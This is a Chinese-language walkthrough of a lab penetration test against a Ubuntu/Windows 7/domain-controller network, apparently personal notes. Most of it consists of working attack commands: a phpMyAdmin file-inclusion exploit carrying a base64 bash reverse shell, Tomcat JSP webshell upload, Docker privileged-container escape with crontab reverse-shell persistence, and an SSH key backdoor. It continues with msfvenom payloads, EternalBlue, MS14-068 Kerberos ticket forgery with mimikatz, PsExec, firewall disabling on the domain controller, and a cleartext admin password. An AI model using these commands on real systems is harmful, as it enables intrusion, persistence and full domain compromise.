机器密码 网络配置
只需要改Ubuntu的网卡,仅主机192.168.183.x

DC:192.168.183.130 Ubuntu:192.168.183.128\192.168.22.145 Win7:192.168.183.129
环境搭建
先在ubuntu起服务
sudo docker start ec 17 09
sudo docker ps

docker start cve-2018-12613_mysql_1
信息搜集
nmap -sS -sV -sC -p- -T4 -Pn 192.168.22.145


扫描出来一个192.168.22.145,端口有22,2001,2002,2003



struts


Tomcat
网上搜一下,利用方法是用burpsuite抓包,修改GET为PUT上传方式,添加文件名1.jsp/,可以添加shell脚本
传一个jsp


phpadmin
poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
http://192.168.22.145:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd


phpMyAdmin=ebfe67e40bc5aa8e97d50167661dae16
system(base64_decode("YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyLjEyOS80NDQ0IDA+JjEi")) ?>'
base64编码的内容是bash -c “bash -i >& /dev/tcp/192.168.22.129/4444 0>&1”

http://192.168.96.145:2003/index.php?target=db_datadict.php%253f/../../../../../../tmp/sess_298c370f24c0ded3fa0da86d03a12d93
如果访问的kali没有连接上,说明之前的payload坏了,可以开无痕浏览或者新开个浏览器

Docker逃逸
我们拿到了三个shell,但是三个ip都不同,怀疑开启了Docker容器
find / -name .dockerenv

查看是否有privileged特权模式启动的容器,privileged特权模式拥有几乎和主机一样的权限,允许容器访问内核和所有设备,思路是挂载主机的根目录从而可以读写文件
https://www.cnblogs.com/CVE-Lemon/p/18674800

CapEff为0000001fffffffff,说明容器是特权模式

lsblk
mkdir pass
mount /dev/sda1 pass
在挂载的盘里写一个反弹shell,然后运行
echo 'bash -i >& /dev/tcp/192.168.22.129/4466 0>&1' > /pass/pass.shcd passchmod + pass.sh写一个定时任务
echo "* * * * * root bash /pass.sh" >> /pass/etc/crontab
不要直接bash pass.sh,这样只是在tomcat的webshell里运行,不是在ubutu主机运行,给ubuntu写个定时任务才会反弹ubuntu的shell

写 SSH 公钥登录 Ubuntu
cat /usr/local/tomcat/pass/etc/passwd

# 1. 找可登录用户
awk -F: ‘$7 ~ /(bash|sh|zsh)$/ {print $1, $3, $4, $6, $7}’ /usr/local/tomcat/pass/etc/passwd
2. 看 sshd 是否限制用户
grep -Ei ‘PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile|AllowUsers|DenyUsers|StrictModes’ /usr/local/tomcat/pass/etc/ssh/sshd_config
ssh-keygen -y-f ./hr4_ubuntu

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaIGesgRnd+5XvzeOgNgyBPhB5ailBWnckDVeFib19pdkf1+ZdvUNazCwXRH6tYhRpAeE5+pubsm8P9CnuxYEJXsKGBbA7qwvXBpzIwhgbT7vn72oozyy26EIvqZNOzBYL537wic/qOgr2xoerlHPMitOFPqdg6F/tRb7mSFzEK/+yGnBRsasvOD8pY/ovFwfm4FDBnedNH5Qivmf1MFt8laH/3O6NQfjyzzKpcaRziOvPLFCMMRl838hGv3T4fDkpuhpqnCP/jpMS+iom3Isr1xMDYIFNfCXpX+vI52qi7RPKKxKIeqyVqazfuSdb5TzSuC8pkM6SBDOEVzPwac5R root@kali
mkdir-p /usr/local/tomcat/pass/host/home/ubuntu/.ssh
printf '%s\n' 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCaIGesgRnd+5XvzeOgNgyBPhB5ailBWnckDVeFib19pdkf1+ZdvUNazCwXRH6tYhRpAeE5+pubsm8P9CnuxYEJXsKGBbA7qwvXBpzIwhgbT7vn72oozyy26EIvqZNOzBYL537wic/qOgr2xoerlHPMitOFPqdg6F/tRb7mSFzEK/+yGnBRsasvOD8pY/ovFwfm4FDBnedNH5Qivmf1MFt8laH/3O6NQfjyzzKpcaRziOvPLFCMMRl838hGv3T4fDkpuhpqnCP/jpMS+iom3Isr1xMDYIFNfCXpX+vI52qi7RPKKxKIeqyVqazfuSdb5TzSuC8pkM6SBDOEVzPwac5R root@kali' > /usr/local/tomcat/pass/home/ubuntu/.ssh/authorized_keys
/usr/local/tomcat/pass为挂载的目录,按实际替换,常用/mnt

chown 1000:1000 /usr/local/tomcat/pass/home/ubuntu
chown -R 1000:1000 /usr/local/tomcat/pass/home/ubuntu/.ssh
chmod 755 /usr/local/tomcat/pass/home/ubuntu
chmod 700 /usr/local/tomcat/pass/home/ubuntu/.ssh
chmod 600 /usr/local/tomcat/pass/home/ubuntu/.ssh/authorized_keys
ls -ld /usr/local/tomcat/pass/home/ubuntu
ls -la /usr/local/tomcat/pass/home/ubuntu/.ssh
cat /usr/local/tomcat/pass/home/ubuntu/.ssh/authorized_keys
1. 路径必须是 /mnt/host/home/ubuntu/.ssh/authorized_keys2. .ssh 权限:drwx—— 3. authorized_keys 权限是 6004. 属主是 1000:1000

ssh -i ./hr4_ubuntu \
-o IdentitiesOnly=yes \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
ubuntu@192.168.22.145

内网渗透
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.22.129 \
LPORT=8888 \
-f elf \
-o shell.elf
在ubuntu上用weget下载
weget http://192.168.22.129:66/payload.elf

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.22.129
set LPORT 8888
run


fscan -h 192.168.183.0/24(fscan -h 192.168.183.0/24 -np -socks5 127.0.0.1:1080)

横向移动
windows运行.\chisel.exe server -v -p 8808 --reverse


chmod +x ./chisel
./chisel client -v http://192.168.22.1:8808 R:1080:socks
./chisel server -v -p 8808 --reverse
sudo vim /etc/proxychains4.conf

./chisel client -v http://192.168.22.129:8808 R:1080:socks
如果单纯用kali的msf不用windows或其他工具,那么这个隧道可有可无,建一个路由即可
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.10 #中间NAT地址IP从129变为10了
set lport 443
run




在主机的桌面了发下一个MS14-068.exe,可能是hint

域成员sid:S-1-5-21-979886063-1111900045-1414766810-1107
发现用户密码 douser Dotest123 , WIN-ENS2VR5TR3N 为域控
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

这个 .ccache 的作用是:它是 MS14-068 生成的 Kerberos 票据缓存文件。后面用 mimikatz 注入它
MS14-068 对应 CVE-2014-6324,本质是 Windows KDC 对 Kerberos PAC 签名校验不严格。
Kerberos 票据里有一个 PAC,里面记录用户身份、组 SID、权限等信息。正常情况下,KDC 应该严格校验 PAC 是否可信。漏洞存在时,普通域用户可以构造一个带有高权限组 SID 的伪造 PAC,例如把自己“声明”为 Domain Admins,然后让 KDC 签发一个被域内服务接受的票据。
普通域用户凭据-> 构造伪造 PAC-> 向未修补 DC 请求 Kerberos 票据-> 注入票据-> 以高权限访问域控资源
注意最好用域控主机名或 FQDN,不要直接用 IP。用 IP 访问 SMB 时可能走 NTLM,导致 Kerberos 票据没有被正确使用。
MS14-068 的关键点不是“拿到域控密码”,而是“利用 KDC 对 PAC 校验缺陷,让普通域用户获得一张包含高权限组 SID 的合法 Kerberos 票据”。因此利用前提是:域控未打补丁、已有普通域用户账号密码、知道用户 SID、能访问域控 88 端口,并且本机时间与域控同步。
mimikatz.exe
privilege::debug
kerberos::purge
kerberos::list
kerberos::ptc TGT_douser@demo.com.ccache
kerberos::list


net use \\WIN-ENS2VR5TR3N\c$
dir \\WIN-ENS2VR5TR3N\c$

meterpreter > upload /path/to/PsExec64.exe C:/Windows/Temp/PsExec64.exe
C:\Windows\Temp\PsExec64.exe /accepteula \\WIN-ENS2VR5TR3N cmd
C:\Windows\Temp\PsExec64.exe /accepteula -s \\WIN-ENS2VR5TR3N cmd

error code 0 表示远程 cmd 正常启动并退出。Meterpreter 里的普通 shell 对 PsExec 交互支持不好,所以它开了 cmd 但马上退了。
说明 PsExec 已经能在域控上执行命令了,只是 whoami 没显示出来,常见是 & 在当前 cmd/meterpreter shell 里解析不稳定,或者输出没有完整回显。
C:\Windows\Temp\PsExec64.exe /accepteula -s \\WIN-ENS2VR5TR3N cmd /c "C:\Windows\System32\whoami.exe > C:\Windows\Temp\dc_who.txt 2>&1" type \\WIN-ENS2VR5TR3N\c$\Windows\Temp\dc_who.txt

C:\Windows\Temp\PsExec64.exe /accepteula -s \\WIN-ENS2VR5TR3N cmd /c "netsh advfirewall set allprofiles state off"
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=7777 -f exe -o dc_bind.exe
meterpreter > upload dc_bind.exe C:/Windows/Temp/dc_bind.exe

copy C:\Windows\Temp\dc_bind.exe \\WIN-ENS2VR5TR3N\c$\Windows\Temp\dc_bind.exe

sc \\WIN-ENS2VR5TR3N create dcbind binPath= "C:\Windows\Temp\dc_bind.exe"sc \\WIN-ENS2VR5TR3N start dcbind
# 接着 MSF 监听 bind:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.130
set LPORT 7777
set AutoRunScript post/windows/manage/migrate
run

msf有弹过来,但是报1053,太不稳定了,后面的操作和前面的一样,抓密码,可以开启3389,然后远程登录(需要一个转发的隧道),写黄金票据
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j
然后
proxychains4 xfreerdp /v:192.168.183.130 /u:DEMO\\administrator /p:'qwe123!@#' /cert:ignore











